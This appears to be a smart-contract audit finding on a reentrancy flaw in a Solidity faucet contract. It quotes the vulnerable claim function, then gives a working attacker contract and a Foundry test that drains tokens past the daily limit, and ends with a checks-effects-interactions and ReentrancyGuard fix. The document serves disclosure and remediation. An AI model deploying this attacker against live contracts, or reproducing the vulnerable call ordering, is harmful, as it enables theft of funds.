function claimFaucetTokens() public {
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
@> lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
contract ReentrancyAttacker {
RaiseBoxFaucet public faucet;
uint256 public count;
constructor(address _faucet) {
faucet = RaiseBoxFaucet(payable(_faucet));
count = 0;
}
function attack() public {
faucet.claimFaucetTokens();
}
receive() external payable {
if(count < 1) {
count++;
faucet.claimFaucetTokens();
}
}
}
function testReentrancyAttack() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(address(raiseBoxFaucet));
uint256 attackerInitialBalance = raiseBoxFaucet.getBalance(address(attacker));
console.log("Attacker initial token balance: %d", attackerInitialBalance);
attacker.attack();
uint256 attackerFinalBalance = raiseBoxFaucet.getBalance(address(attacker));
console.log("Attacker final token balance: %d", attackerFinalBalance / 1e18);
assertTrue((attackerFinalBalance / 1e18) == 2000, "Attacker should receive 2000 tokens exceeding the daily limit of 1000 tokens.");
}
Implement proper checks-effects-interactions (CEI) design pattern by moving the Sepolia ETH external call after all state variables are updated. This strategy is more gas efficient then Open Zeppelin's reentrancy guard.
Open Zeppelin's reentrancy guard was included as an optional strategy.
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// Checks
faucetClaimer = msg.sender;
+ bool shouldReceiveEth = false;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+ shouldReceiveEth = true;
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
+ if (shouldReceiveEth) {
+ (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+ if (success) {
+ emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
+ } else {
+ revert RaiseBoxFaucet_EthTransferFailed();
+ }
+ }
+ emit Claimed(msg.sender, faucetDrip);
_transfer(address(this), faucetClaimer, faucetDrip);
- emit Claimed(msg.sender, faucetDrip);
}